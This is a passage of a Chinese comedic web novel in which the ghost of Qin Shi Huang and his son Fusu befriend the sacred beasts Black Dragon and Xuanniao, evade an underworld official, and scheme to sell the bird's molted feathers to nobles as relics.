其实这件事本就该他来做,他是鬼魂不会疲惫,扶苏却不同。然而儿子的一片孝心他舍不得拒绝,这才任由扶苏忙活了半晌。 扶苏回宫午睡了。 等到睡醒还要招来桥松商议政事,之前他与父亲聊过要如何赚取更多功德,也该早日安排下去。 始皇则陪着黑龙玩了个尽兴。 说是玩,其实就是哄小龙到处看看。把秦王宫看遍之后,又带它去看了咸阳城和隔壁改名长安城的周朝旧都。 过程中始皇不忘套话,果然从黑龙嘴里搞清楚了不少事情。 他之前的猜测没错,两边还真是因大秦才结怨的。 不过黑龙和玄鸟的关系并不是纯粹的互相仇视,而是有点冤家的意思在。碰见了会打架,但要说有仇也不至于。 始皇总结:小孩子闹矛盾。 这话他没说出口,因为龙君会恼羞成怒。 确定了自己的猜测为真后,始皇便行动起来。 他开始装作闲聊般同黑龙讲述自己这几日在阳世都做了什么,重点讲述他留在扶苏身边可以为大秦国祚的延续出一份力。 如果大秦国运昌隆,黑龙能被反哺的好处自然也更多。所以把他送回地府不仅对黑龙无益,还会损害它的利益。 这话他不是明着说的,而是暗示。 如果暗示的话黑龙听不明白,他才会考虑打开天窗说亮话。 黑龙不是个傻子。 它只是好骗而已,脑子还是聪明的。 刚开始听的时候,黑龙还没往心里去,可越听越觉得始皇说的有道理。 府君许诺给他的东西,只是一些新奇玩意而已。相比之下,当然是大秦给的好处更实在。 黑龙眼眸一转: “吾打算在大秦多玩几年。” 最好玩到扶苏驾崩,然后再把始皇帝带回去。它这可不算食言,它确实把人带回去了,府君不能说它不讲信用。 始皇挑了挑眉,心道府君到底怎么想到找黑龙来抓他的。能找上这么个活宝,可见府君也不太聪明的样子。 因为始皇的一番话,黑龙回去之后就对国事感兴趣起来。 它不再闹着要出去玩,而是开始盯着扶苏和桥松处理政务。如果谁偷懒,它就会碎碎念地督促起来。 但是被他念叨的两个人却不太配合。 扶苏是出了名的会给自己省事,能丢给儿子的都丢给儿子干。要不是亲爹盯着,他能当场退位去当太上皇。 朝政上不出大事就别指望他整日勤勤恳恳干活,不大不小的事情交给太子,而小事有的是臣子能替他处理。 黑龙一催他认真上进,他就面带疲惫之色。然后揉着太阳穴说自己可能年纪大了精力不济,强撑着去翻看奏折。 黑龙毕竟不是什么周扒皮。 它一看这个架势,就怀疑自己是不是对六十多的老人家太苛刻了。干脆不再催他,转头去催桥松。 然而,桥松根本就看不见它。 天道为了防止这些能到处乱窜的神兽影响人世,做足了限制。 黑龙不怎么来人间转悠不知道,只以为凡人看不见它但是能听见它说话。其实两项都感知不到,黑龙絮叨半天絮叨了个寂寞。 扶苏同情了一下儿子: “就算桥松能听见它的声音,它这样不现身地念念叨叨,也会把人给吓着。” 幸好他儿子什么都听不见。 黑龙玩了两天自己都觉得很无聊了,终于歇了督促大秦君主上进的心思。 郁闷地跑回扶苏身边,就看见扶苏在吃从海边运来的鱼。因天气炎热,是利用硝石制冰进行冰鲜运输,桌上的并非活鱼。 但即便如此,经过御厨精心烹调,再有这些年发明的各色酱料辅佐,味道还是很不错的。 黑龙立刻跳上了桌: “我也要吃!” 说完反应过来,改口道: “吾也要吃!” 扶苏淡定地让侍者把鱼肉里的鱼刺都挑了,然后遣退侍者,这才分了一半鱼肉放到小碟子里给它。 黑龙心满意足,夸了一句他细心。 骊山陵里。 人间虽然过去了好几日,地府倒是才过去几个时辰。 秦君们起初目睹了府君和天道掰扯,内容为天道法则到底有没有漏洞。最后的掰扯结果是府君完败,被迫行色匆匆地跑出去想别的法子解决。 秦穆公便摇头叹息: “这府君有点傻,和天道作对干什么?” 连他们都看出来了,整个地府最大的是天道,不能和天道对着干。这府君在天道手底下待了这么多年,怎么没领悟这点呢? 秦稷夹了颗红红的辣椒圈尝了一口,被辣得一个激灵。咂咂嘴又觉得很过瘾,跃跃欲试想再尝一尝,可一时又有点畏惧。 闻言干脆放下筷子,积极为祖宗解答: “那天道没有自己的思想,不会报复人的。你们没见过后世那种人工智能,多见识见识就懂了。” 府君哪里是胆子大或者人傻,敢得罪上司。分明是天道压根不懂记仇,自然无所谓得不得罪。 先秦的老古董们依然没听明白。 他们没接触过这些,哪里能明白呢?别看一个两个都死了几百年了,实际上换算成地府年才几十年。 秦稷看这些老祖宗就像现代人看学不会用电脑的太爷太奶,知道自己费尽口舌也不一定能解释清楚。 幸而他们都是当过国君的聪明人,现在搞不懂只是因为没接触过,不是年纪大了脑子退化到学不会新事物。 所以秦稷干脆招呼大家赶紧吃,吃完他带其他人去隔壁位面串串门。 有些位面早就进入现代社会了,他们可以去那些位面找另一个自己,让自己手把手教自己这些东西。 其实早该过去学了,只是此前大家都想着留在家里等始皇下来团聚,不肯乱跑。 就说最早下来的秦非子吧。 先祖非子进入地府的时候大秦才刚刚建国,甚至非子自己都没好意思称侯。那会儿嬴秦的地盘小的可怜,还是后来西周灭亡时靠着护送周平王东迁被封了关中,秦国才终于像模像样起来。 周平王把关中给秦国表面上是奖励他们救驾有功,其实就是自己掌控不了被犬戎入侵的关中了。 正好秦的封地还在更西边的高原上头,巴掌大点,干脆把这个鸡肋一样的烫手关中丢给秦国。 这样秦国如果赶走了犬戎呢,那周朝相当于成功收复了失地,不亏。要是没赶走,那是秦国自己没本事,他奖励都给了,不能怪他对功臣不够好。 总之,秦国在秦穆公称霸之前处境都算不上多好。 非子那会儿甚至连获封关中的事情都还没发生,完全不敢想后人能在商鞅变法后成为六国的心理阴影,更别提一统天下取代姬周了。 但是他刚来地府,出于好奇去其他位面转了转。就恍恍惚惚地得知了后代的辉煌战绩,被剧透了一脸。 自那之后,每下来一个秦君,就能迎来非子慈爱的目光。 非子抓着每个人说: “你们知道吗?咱家出了个叫政儿的宝贝蛋,他能一统天下取代周天子!” 他儿子秦侯、他孙子公伯、他重孙秦仲等一个两个都敷衍地点头“嗯、哦、啊、真的吗”。 表面上喜悦和惊讶,背地里以为秦非子可能得了妄想症。 直到他们也去其他位面转了一圈…… 很快纷纷加入非子的行列。 从那以后,秦君里就流行起围观后世子孙怎么把大秦发扬光大了。满心满眼只有他们的乖乖政儿,根本没空出去玩耍。 所以至今为止,也就秦稷一个紧跟潮流,走在全家的最前列。 虽然政儿之后可能会迎来二世而亡,但那又不是绝对的。也有的大秦延续了好多年呢,说不准他们这个大秦就是例外。 事实证明,他们果然是那个例外! 哈哈哈哈哈哈哈! 心里的一块大石落下,终于有了闲心做点娱乐消遣了。秦稷说要组织他们去隔壁位面团建,大家想了想也没拒绝。 政儿看样子短期内不会回来,他们空巢老人留在家里也没意思。 至于府君仿佛要想法子对付政儿这件事嘛,不怕,那府君人傻得很,政儿和阿苏一定能应付得了他。 秦君跑了,府君几个时辰后回来找人,一个都没找着。问了守门的蒙恬才知道都去其他位面了,跑得倒是快。 李斯蒙恬等文臣武将之前因为始皇帝还未下葬的缘故,都进不了地宫区域。后来陛下来了,却又沉睡不醒,他们也不好进来打扰。 那天始皇苏醒时,恰逢蒙恬等人被武王叫去壮声势。秦武王秦荡和人比赛举鼎就算了,还要找人去当气氛组,也不知道是怎么想的。 后来等他们得到消息匆匆回来,陛下又去阳世了。 蒙恬只好主动留下守门,等候陛下回归。 府君这会儿之所以跑来找秦君,是因为他等了好几个时辰,左等右等没等到黑龙带人回来。 然后他查看了一下凡间的情况,发现黑龙乐不思蜀了。 府君:??? 儿孙造孽,当然要来找祖宗告家长。哪怕告家长没用,他也要过来把家长们批评一顿。 结果就一个蒙恬在,白跑一趟。 蒙恬不卑不亢地行礼: “见过府君,府君可是寻陛下有事?待陛下回归,恬定会为您通传。” 府君:你家陛下要是肯回来,还用得着你通传? 府君不再搭理蒙恬,开始给黑龙发消息问它怎么回事。说好的帮忙把人带回来呢,你怎么跟秦皇打成一片了。 黑龙看了一眼盘子里的鱼肉,原本还有些心虚。但想到这些天扶苏对它的礼遇,又理直气壮起来。 它义正辞严地回复府君: “吾乃大秦图腾,自然要与大秦共存亡,怎能偏帮外人?” 还扯了个很瞎的借口: “吾见这大秦似有二世而亡的危险,决定留下监督扶苏治国。” 然后任由府君再发什么都不回了。 已读,不回,继续发就拉黑。 府君:??????? 玄鸟 犯了低级错误的府君回去之后深刻反省了一番。 他不应该想当然地觉得大家都是神话生物,所以黑龙肯定会帮他而不是帮凡人。 他府君不靠大秦国运吃饭,黑龙却是要靠的。况且黑龙天生就和秦人更亲近一些,会被策反也很合理。 但这并不代表他的决策有问题。 府君认为,自己只是不幸找错了对象。如果换一个正确的帮手过去的话,现在始皇肯定已经被带回来了。 不行,不能再犯同样的错误了。 府君决定重新物色一个人选,而且这次得提前调查一番,找个和大秦绝对没有牵扯的存在过去抓人。 而且这次选的帮手,还不能实力低微。毕竟始皇那边已经有个黑龙了,打不过黑龙的派去了也没用。 府君正打算仔细挑个对象,忽然收到另一个位面出现状况的消息,需要赶紧过去处理。 没办法,府君只好叫来助手。 每个位面其实都有个处理杂事的阴差团队,一般不是大事的话,不会劳烦黄泉府君亲自出面。 府君吩咐团队里的小组长: “泰山君,你帮我盯着点那几个秦君,还有阳世的始皇帝父子。顺便帮我找个能打得过黑龙的,去把始皇弄回地府来。” 接着他快速说完了自己的详细要求,然后就匆匆离开了。 泰山君本来不是地府职官,但是因为某些位面的古人强行给泰山整了个“泰山治鬼”的传说,还编了个“泰山府君”出来当幽都的老大,搞得泰山君最近被临时征调过来给这个新位面当小组长。 泰山君还是比较想念自己当山神的日子,给难搞的鬼怪们擦屁股哪有享受山神祭祀舒服? 尤其他还是泰山的山神,时不时就有泰山封禅那种大祭出现。 别看一个位面封禅的次数有限,位面多了那不就隔三差五能享受祭祀了?反正全位面的泰山都归他管,他日子快活得很。 结果地府缺人,不管三七二十一抓了他这个壮丁。抓就抓吧,他还如此不幸地碰上个皇帝都很不安分的位面。 泰山君:我得想个法子赶紧跑路。 泰山君心里装着事,对黄泉府君的吩咐就不怎么上心。他也没仔细听具体要求,就记得要找个打得过黑龙的人去把始皇帝弄回来。 说起始皇帝—— 泰山君心里突然就不平衡起来。 凭什么!那汉朝的地府传说里还编过酆都六天宫呢!六个天宫有十来个管理人员,挑谁来当小组长不行非得挑他?! 别的不说,第一宫里的地府三把手不就是秦始皇本人?他看始皇帝就很适合当这个小组长,让他来管这群鬼绝对没人敢闹事。 泰山君一边心里骂骂咧咧地想着府君不抓个始皇帝过来当组长,活该他被这个位面的始皇帝折腾。要早安排个始皇过来,让他们自己内斗,不就没事了。 心不在焉地戳开好友朱雀的聊天框,问它能不能推荐个可以打得过黑龙的神兽,而且现在还有空能去一趟大秦的,希望能帮忙抓个人回地府。 朱雀一听“打得过黑龙”第一反应就是黑龙的老冤家玄鸟。 它当即打包票: “这个简单,交给我就好!” 泰山君看朱雀愿意安排,也乐得当甩手掌柜。他表示下次泰山封禅的祭品分它们一半,朱雀立时高兴起来。 一般皇帝搞泰山封禅的时候,祭品都会准备一大堆。哪怕里头有给天地和先祖的,也至少会有一部分是给泰山本身的。 所以泰山贼有钱,不用自己花功德满足口腹之欲。 朱雀想起上一次的封禅。 那次是泰山君最近在管的那个位面,始皇帝携太子扶苏一并祭祀天地。那场面比其他位面的封禅都大多了,祭品的花样也非常多。 可惜那次的祭品泰山君小气吧啦谁也不分,自己一个人私吞了。而献给天地的那部分,也被天道收入了库中。 倒是玄鸟和黑龙分到不少,因为它俩是大秦图腾,大秦肯定要祭祀他们的。不仅是封禅,就是寻常祭祀都少不了他们。 朱雀和玄鸟关系好,经常能分到一点。 前些年大秦特意设立了两个节日,二月十五仲春祭祀黑龙,五月十五仲夏祭祀玄鸟。自那之后,两个嘚瑟的家伙又多了一堆丰厚的祭品,令人嫉妒。 朱雀跑去找到玄鸟: “我这里接了个活,是去那个大秦把始皇帝抓回地府的,要求能打得过黑龙。” 玄鸟立刻从趴着的姿势站起来: “让我去!” 在他们神兽界,“那个大秦”已经成为定向指代了,一说就懂是哪一个。可以过去玩不说,还能趁机揍一顿黑龙,不去就亏大发了。 朱雀提醒玄鸟: “我怀疑这里头有诈,你先等我打听一下。” 过了片刻,朱雀回来了: “打听到了,府君要找的是和秦朝没关系的神兽。你不行,肯定通不过。” 玄鸟沉默了片刻,念了个口诀。很快,它身上低调奢华的玄色羽毛就变成了华丽的彩色。 玄鸟说: “从现在开始我就是凤凰了。” 朱雀:…… 玄鸟催促它: “快点拍张照给府君,看看能不能糊弄过去。” 朱雀只好变成人形给它拍了一张,想想又替它P图调整了一下,这才发给泰山君。 泰山君看完,想起凤凰一向受历朝历代尊崇,实力肯定不弱。凡人里头信仰之力最浓的金龙才能和它抗衡,黑龙必然打不过凤凰。 于是泰山君表示,就它了。 玄鸟高高兴兴地把染色效果取消掉,给朱雀塞了一堆辛苦费,就出差去了。 大秦!它来了! 扶苏熟练地将自己的餐食分了一半给黑龙,龙君满意极了。 在地府和神兽界吃这些美食要花功德,主要神兽界没人会做饭,大家都是吃鲜果花露的。人世倒是美食多,可它们这群神兽都没有钱,总不能去偷吃吧? 所以黑龙一般是去找别的始皇帝蹭吃蹭喝,或者等着大秦给它祭祀上贡。 提到这个黑龙就愤愤: “你们大秦也太不靠谱了,很多位面的大秦没多久就灭亡了。灭亡也就算了,有的皇帝上位根本不给我祭祀!” 说的就是胡亥那个傻叉! 要不是因为大秦二世而亡,存续时间太久,它何至于打不过玄鸟? 玄鸟靠着秦国五百多年国运享受尽了信仰和供奉,它呢?它就十几年,怎一个惨字了得! 每个位面玄鸟都能当五百年图腾,而他运气好才能偶尔多当几年,运气不好就十来年没了。而且它当图腾那会儿,玄鸟依然享受供奉,也太占便宜了。 所以后头的汉朝为什么不把图腾定为它黑龙?不都是玄色为尊的朝代吗?没眼光! 西汉:有没有一种可能,我们延续尚黑的传统是因为汉初没钱,窦太后也觉得这是瞎折腾。等到汉武帝的时候,就已经完成服色改易,开始遵循“土德”的黄色了? 而且汉朝它就没有正经图腾,到了东汉为了打击王莽的新朝,变更为“火德”,更是直接改为崇尚赤色了。 黑龙又在心里呸了一声,没眼光,黄色和赤色哪有黑色好看! 扶苏托腮看着它边吃边骂骂咧咧。 有点忍不住想提醒龙君,你龙设崩了。 始皇及时按住了儿子的手,示意他忍着别开口。 对臣子嘴贱也就算了,不要招惹自己打不过的神兽。虽然阿父会尽量保护阿苏,可阿父也不确定自己能不能打得过龙君。 扶苏遗憾地闭上了嘴。 而后在桌上用手指写了几个看不见的字。 方才黑龙的抱怨里透露了一点讯息,其他位面的大秦似乎国祚不长。 扶苏有些忧虑,担忧父亲会为此生气。 气大伤身,怒急攻心,他又看不见父亲此时的模样。要是父亲有心隐瞒,他连对方是否魂体不适都不知道。 始皇握紧他的手,表示自己无事。 他很冷静,其他大秦出事是其他始皇帝该担心的。他的大秦很好,也不会出现国祚短暂的情况,这就是他的底气。 即便要考虑其他位面的事情,也该等解决完当前位面的问题之后。待他和阿苏回到地府,有的是时间去了解清楚、思考对策。 黑龙没发现他们父子俩的小动作。 它美滋滋地去吃最后一口佳肴,欢快得龙尾巴甩啊甩。因为太投入了,根本没发现室外冲进来一只巴掌大的小鸟崽。 鸟崽精准地一脚踹到它脑袋上,导致它整张脸陷入了食物中,沾了满脸的酱汁。 黑乎乎的胖鸟崽得意地扑扇了一下翅膀。 手下败将!还是这么不经打!哼哼! 扶苏:…… 始皇:…… 扶苏放下了撑着下巴的手: “这位又是?” 鸟崽扭头看向扶苏,盯着瞧了一会儿,然后断言道: “你就是小扶苏吧?看起来怎么比别的扶苏瘦弱这么多?” 扶苏眨了眨眼。 自从他开始长白发之后,再没人说过他小了。这个鸟崽一口娃娃音,倒是很有长辈派头呢。 鸟崽一翅膀掀翻了还想反抗的黑龙,然后飞到了扶苏面前落下。 它看看扶苏又看看始皇,最后说道: “我是你们的先祖玄鸟,你们要喊我玄鸟大人。” 在先秦时期,“大人”是对自家长辈的称呼,比如父亲大人、母亲大人。 虽然秦王室先祖并不是真的靠女性祖先吞玄鸟卵生出祖宗的,但既然大秦都这么宣扬了,那遇到正经玄鸟喊一声先祖也是理所应当。 事实上他们应该庆幸玄鸟愿意认这群后人,不然强行攀亲戚还被对方嫌弃,很容易成为万界笑柄。 这种事情不是没发生过。 有些朝代的皇帝干得不太好,但是非要给自己编个神兽相关的传说。结果对方觉得认下这个后代太掉价了,死活不肯认,被各界好一番嘲笑。 其中笑得最大声的就是秦王室() 扶苏并不介意多认一个祖宗,尤其这祖宗确实是他们老秦家的祖宗,还超级能打。 看一眼没有反抗之力的黑龙,扶苏默默决定了自己的偏向。 不过他还是先问了一声: “阿父?” 这种大事当然要听父亲的意见。 始皇便道: “玄鸟大人。” 扶苏便也跟着称呼: “玄鸟大人。” 玄鸟满意了,在桌案上踱了两步。那个踱步的样子神似始皇帝,尤其是翅膀收在身侧的模样,就很像是人负着手。 扶苏一看便知,这玄鸟应该没少和其他位面的始皇相处。 反观另一个宣称自己经常和始皇帝待在一起的黑龙,就完全没有玄鸟一半的沉稳。 但—— 扶苏虚心求教: “玄鸟大人的声音听着似乎是女童?” 玄鸟瞥他一眼: “我知道你想问什么,变小了确实声音会变稚嫩。不过就算我变大了,也依然是女声,因为我是只雌鸟。” 始皇顿时意识到儿子想说什么。 他们家是女性先祖吞卵而生,这只玄鸟也是雌性,是不是哪里不太对劲? 玄鸟好像应付过很多遍这样的问话,回答得也很熟练。 她幸灾乐祸: “只有雌鸟才会下蛋,你们编什么不好编吞卵而生。结果给自己整两个雌性先祖,双雌繁殖是吧?” 父子俩:…… 扶苏努力为自家挽尊: “一开始这么编的是商王,我们只是跟风学习。” 始皇:这还不如不说。 跟风学了个有问题的说法,没比自己瞎编一个好到哪里去。 玄鸟也乐了: “商王认的祖宗也是我。” 不巧,商朝王室编的对象也是玄鸟来着。而秦朝先祖是商臣,跟着商王学没毛病。 扶苏了然,难怪黑龙打不过玄鸟。 玄鸟身上还享受着商人供奉呢! 商朝延续五百五十多年,加上大秦就是上千年信仰了。更别提周天子在位期间,好多被赦免的商朝后人得封诸侯,依旧是在供奉他们的先祖玄鸟。 玄鸟一只会下蛋的雌鸟,莫名其妙靠着给女人吃蛋多了一堆后人。没有一家考虑过雄鸟是不下蛋的,也是让她很无语。 不过玄鸟也能理解走婚制时代的人们分不清父系先祖是谁,只好编一个神话传说出来。 而且这个时期的人对卵本身存在信仰,也就是所谓的“卵生信仰”。他们认为卵和蛋是生命的最高表现,才会以此为蓝本编纂神话。 但玄鸟还是要说: “我,雌鸟,会下蛋,叫我母亲!” 不许叫她父亲! 父子俩:…… 幸好这是个上古祖宗,只要喊大人就可以了。大人不分男女都能用,免去了性别误解带来的尴尬。 扶苏终究还是没忍住,嘴贱了一次: “玄鸟大人是遇到过谁叫您父亲吗?” 玄鸟呵呵一声: “还能有谁?每个大业见到我都这么喊。” 大业就是传说中吞卵之后生下的孩子。 其实这个神话是很多年后的后人编的,按理说大业应该不知道这个故事才对。可架不住各界互通,所以很多人刚到地府就会被剧透接下来几千年的发展。 大业:你们都给我编了个神兽爹了,而且这个神兽据说已经认了先祖身份和其他嬴姓后代,那我不赶紧过去攀亲戚岂不是傻? 扶苏想想那个画面: “噗嗤!” 始皇伸手去捂儿子的嘴巴,但是晚了一步,扶苏已经笑出了声来。 玄鸟:…… 讲道理,她见过那么多个扶苏,就数这个最欠揍。 你想要哪根 玄鸟这次过来,就没准备帮府君干活。 她才不稀罕府君给的那点小恩小惠,她是听说黑龙过来吃香喝辣,觉得不能叫黑龙独自占便宜,才匆匆赶来的。 来了之后,玄鸟颇有一番大家长的派头。 哪怕她外形维持在鸟崽的形态上,声音也十分稚嫩,但她就是能端起长辈架子。和黑龙的故作老成不同,可以看得出来玄鸟确实心智成熟。 扶苏和始皇私下讨论后认为,这可能和玄鸟当了上千年图腾有关。 不出意外的话,神兽要靠信仰之力提升实力。而信仰源自人类,和这样的力量接触多了,难免会被同化。 通过扶苏对黑龙的套话可知,神兽们大多都很单纯。那么不单纯的那些,就很有可能是和人类接触太多才学坏的。 不过,玄鸟再怎么成熟,也有孩子气的一面,否则她也不至于为了点供奉就跑来欺负黑龙。 午后散步时,扶苏小声对父亲说: “大秦虽然更换了图腾,也没有彻底摒弃玄鸟的信仰。玄鸟依然和黑龙结怨了,可见性子霸道。” 感觉像小孩子霸占玩具似的。 始皇敲了敲他脑袋: “玄鸟不曾为此怨怼大秦,已是心胸宽广,你还背地里编排人家。说她性子霸道,你倒是不霸道了?” 是谁小时候闹脾气不让阿父去看其他弟妹的?是谁抱怨阿父为什么不能只有他一个孩子的? 扶苏顾左右而言他: “玄鸟大人一看便与我性格相似,难怪是我大秦先祖。” 玄鸟正好飞过来找他俩,听见这话有些高兴。她纡尊降贵地落在扶苏的发冠上,得意地抖了抖羽毛。 玄鸟承诺道: “等我过几天换羽,就把换下来的羽毛都送给你。” 扶苏想问这羽毛有什么用。 如果只能放着看的话,那也没什么好稀罕的。 不过他没问,父亲反复叮嘱过不许他再乱说话。所以他悄悄摸到了父亲的袖子,拽了拽,示意父亲去问。 看不见父亲的身影还是太麻烦了些,每次都要摸索半天。 始皇拿他没辙,到底还是帮忙问了。 但他的措辞明显比儿子委婉得多: “这羽毛珍贵,赠送给我等……” 玄鸟一挥翅膀: “不珍贵!我一年换一次羽毛,家里攒了一大堆!” 扶苏心道,那确实不值钱。 可好歹是神兽的羽毛,可以拿去忽悠贵族花重金求购。就是不知道玄鸟愿不愿意让他转卖,而且要怎么说服贵族相信这是真正的神羽也是个问题。 始皇倒是想起了别的: “这一年是阳世的一年还是?” 玄鸟:“当然是我们神兽界的一年,和地府一个记年法!” 始皇了然,那就是十二年一换了。 扶苏眼眸一转: “玄鸟大人,我有一计可使信仰您的人数大增。” 玄鸟顿时来了兴致,她从扶苏头顶飞下来,落在面前的树枝上,好奇地盯着扶苏,催促他快说。 扶苏压低声音一副密谋的样子: “如今大秦好些人不相信玄鸟的存在,因而并不信仰您。若能让他们见到您换下的羽毛,甚至允许他们求一根神羽回去供奉,想必……” 想必一定能帮国库骗到很多钱。 玄鸟也不知是看出了扶苏的意图没有,但无论看没看出来,扶苏描绘的蓝图确实勾得她心动了。 一人一鸟一拍即合,玄鸟当即表示她可以回窝弄一大堆神羽回来。 不过玄鸟还有些忧虑: “如果弄回来太多的话,会不会显得不值钱?” 扶苏打包票: “大人只管去取,其他的交给晚辈来解决。” 玄鸟夸道: “还是小扶苏你最孝顺!” 临走前嘟囔了一声: “比那什么胡亥好多了。” 扶苏脸上的笑容顿时消失得一干二净。 胡亥?什么胡亥?哪里有胡亥? 扶苏不可置信地扭头: “阿父!” 难道其他位面的阿父选择了胡亥当继承人吗?怎么可以这样?阿父最爱的孩子不应该是他才对吗? 始皇:…… 虽然这件事和他没有任何关系,但他莫名就有一种遭遇了翻车的心虚感。 他迅速牵住儿子的手: “朕从没考虑过什么胡亥,阿苏难道不相信阿父吗?” 扶苏当然知道他的阿父才不会舍弃他去选胡亥那蠢货,且胡亥都被父亲发配去修皇陵几十年了,许久前就已经累病而死。 可玄鸟说的是其他位面的事情,这说明在别的位面有始皇帝舍弃了扶苏。 扶苏一直觉得无论有多少个位面,最受宠的肯定都是他。现在乍然听到这样的消息,有些难以接受。 始皇还能怎么办呢? 他只能拉踩: “难怪他们国祚不长,应是胡亥之故。没有我儿支撑大秦,胡亥难担大任,他们实在糊涂。” 言下之意其他的始皇帝老眼昏花,不像他,挑继承人的眼光极佳。 #我骂我自己# 扶苏虽然难过,但还是下意识反驳道: “父亲怎会糊涂?父亲定有深意。” 谁也不能骂他父亲,父亲本人开口也不行。他的阿父英明神武,既然选立幼子,应该是其他位面的扶苏自己不争气。 父子俩都没考虑过胡亥篡位的可能性。 怎么可能呢?胡亥那种东西有什么本事篡位?有始皇坐镇的大秦,谁敢造次? 扶苏冷静下来,分析道: “胡亥虽不成器,朝臣却很可靠。许是我出了什么意外,父亲不得不出此下策。” 他和父亲都是重生过的人了,这辈子一切都顺风顺水,也掩盖不了上辈子的惊心动魄。 前世扶苏在父亲第二次巡游的途中被六国余孽算计中了毒,之后哪怕救了回来,身体也变得极差。 扶苏合理推测,其他位面的自己可能是因此英年早逝。父亲白发人送黑发人不说,长孙桥松还尚且年幼。 偏偏父亲自己已经步入了迟暮之年,为免主少国疑,就只能考虑别的儿子继位。 胡亥在父亲面前一向乖巧听话,父亲或许是看重这一点,选择留下重臣辅佐他。胡亥只要听从臣子们的劝谏行事,大秦支撑到桥松长大或许不成问题。 ——但扶苏还是很难过,他觉得二弟公子高都比胡亥合适。 再联想到前世父亲巡游喜欢带幼子随行逗趣,扶苏怀疑父亲就是被年幼弟弟的花言巧语哄去了。 眼看爱子又要钻入牛角尖,始皇及时打断。 始皇断言道: “朕不可能选胡亥继位,恐是臣子误解了朕的意思。” 他前世巡游途中突然病逝,当时身边只有胡亥一个儿子。所幸咸阳城中还有太子监国,大家自然拥立扶苏继位。 可若其他世界既无太子、扶苏又早逝,他看哪个儿子都觉得不堪大任,迟迟决定不了继承人。此时驾崩未来得及留下遗嘱,在加上他把幼子带在身边宠爱有加,可能会让臣子们误以为他意属胡亥。 扶苏这才心里好受了一些: “李斯他们是爱多想。” 一定不是父亲的问题,那就是李斯的问题!大秦国祚不长全怪李斯瞎拥立公子! 地府。 李斯正和女儿李姻、女婿公子高聊天。 这对小夫妻不如扶苏和始皇能活,已经下来好些日子了。 前些天因始皇沉睡不醒的缘故,秦高带妻子去隔壁位面拜见那里的父亲,试图询问别的始皇可知如何唤醒他父亲。结果不等找到方法,就收到了父亲已然苏醒的消息。 夫妻俩急急忙忙赶回来,没赶上见父亲一面。干脆先来寻李斯,问一问他们不在的这几天都发生了什么。 李斯便说陛下不知怎的回了阳世: “也不知陛下在阳世如何了,不如开直播看一眼。” 虽然始皇和扶苏不是他们的血脉后人,但他们从其余先王那边得到了共享的权限,也可以查看他们二人的情况。 始皇死后,关于始皇的观影权限就被关闭了。现在能看的只有扶苏,除非始皇主动开启直播间。 李斯说着就打开了光屏。 刚打开,扶苏陛下一句“大秦国祚不长都怪李斯”就飘进了三人耳中。 李斯:??? 李斯超大声地抗议: “臣忠心耿耿,太子殿下如何能将这顶大帽子扣到臣头上来?!” 秦高:…… 李姻:…… 秦高提醒岳丈: “丞相在这里说的话,大兄应当是听不见的。” 他亲女儿李姻也说: “父亲不要着急撇清关系,隔壁大秦二世而亡的责任,父亲确实要担一部分。” 李斯:!!! 李斯死得早,二十多年前就死了。他在地府这么多年,不可能没打听清楚其他大秦的遭遇。 但李斯坚决认为别的李斯干的事情与他无关,他本人也从没做过晚节不保的事情。所以这些年在地府一向不往外跑,只要他缩在这个位面当乌龟,那些责任就找不上他。 为此,李斯还从不参与类似的话题。他都快催眠自己忘记这件事了,结果亲女儿倒是会戳她爹心窝子。 李斯强辩道: “可太子殿下说的分明就是当前位面,这总怪不到我头上……” 李姻打断了他: “当前位面还没到大秦灭亡之时,二世陛下如何能够知晓国祚不长?定是陛下得知了其他位面的消息,在讨论那边的事情。” 李斯:呜呜呜! 李斯感觉自己冤枉极了,他什么都没干,为什么走到哪里都要被骂? 他都不敢去其他位面见那边的始皇陛下。 李斯难过地自闭去了。 光屏中,父子俩没再继续讨论其他大秦的事情。他们知道的太少了,再怎么讨论也只是猜测罢了。 始皇把儿子送回屋内去午睡,自己则去找了黑龙。 他没有一上来就打听其他位面的事情,而是询问黑龙可有让他显形的法子。 扶苏看不见他,容易疑神疑鬼。总担忧父亲不告而别,休息时极易惊醒。 黑龙问他: “你想学哪种?简单点的,就是所有人都能看见你。复杂点的,就是只有指定的人能看见你。” 始皇自然选择后者。 说话这个他还可以靠闭口不言,不在侍者面前暴露存在。显形的话就不成了,侍者可都长了眼睛。 术法学起来并不容易,好在始皇悟性强。 扶苏睡醒时,他已先学会了简单的那一种。可以在无人时显形,有人时收回神通,继续隐藏身形,直到学会第二种法术。 传音入密始皇也在学,但这个法门同样不简单,还需要一定的时间。 扶苏睁开眼看见父亲坐在不远处,还以为自己产生了幻觉。 他闭了闭眼,喃喃了一声: “果然是年纪大了,老糊涂了。” 始皇走了过来: “又说胡话,你哪里老糊涂了?” 扶苏重新睁开眼,发现父亲的身影还在。他顿时反应了过来,父亲应该是学了新的术法。 扶苏惊喜不已,立刻坐了起来。 傍晚,玄鸟带了好些羽毛回到大秦。 她说自己特意挑尾羽拿的,因为尾羽一看就不凡。别的羽毛瞧不出来特殊之处,只有尾羽是凡鸟身上少见的样式。 玄鸟追问扶苏,他准备怎么操作。 扶苏只道玄鸟大人等着就好,那些贵族很好忽悠的。 之前始皇帝显灵的动静太大,虽然将作少府把事情压下去了,有些消息灵通的贵族还是得知了此事。 后来听说二世陛下立刻就赶去了骊山陵,更加坐实了显灵之事为真。 因而扶苏想推销玄鸟羽毛确实没什么难度,人死后都能显灵,陛下拿出几根神兽羽毛有什么不可能的。 贵族们直接将前因后果补全了——一定是始皇帝去了地府结识了玄鸟,所以才特意显灵,将神羽赐下。 否则为何早不显灵晚不显灵,过去了半年才与阳世沟通?且在显灵后不久,二世陛下便能拿出神兽的羽毛? 扶苏先是装模作样地召集了几位心腹臣子,免费将神羽赏赐了下去。 蒙氏王氏等家族小辈对二世陛下的说法深信不疑,一点都不怀疑陛下在拿假货忽悠他们。 扶苏特意叮嘱: “神羽数量有限,便只分给了你们几人。拿回去好好供奉,不要怠慢了玄鸟。” 心腹们俱都神情严肃,保证绝不会阳奉阴违。 但世界上没有不透风的墙,在扶苏的刻意推波助澜下,不少贵族都悄悄打听到了此事中的内情。 “二世陛下只将神羽赐给了他们吗?” 嫉妒! 这个时期的人们还是很迷信的。 大家听说之后起初只是半信半疑,但当详细打探过发现那几家确实开始私下供奉玄鸟后,立刻就信了八分。 随后,便不断有人找借口入宫求见二世陛下,也想分到一根神羽。 扶苏故作为难,对每个人都说: “神羽数量有限,父亲也没有弄到太多。朕还要给儿女们分一分,只怕匀不出更多给你。” 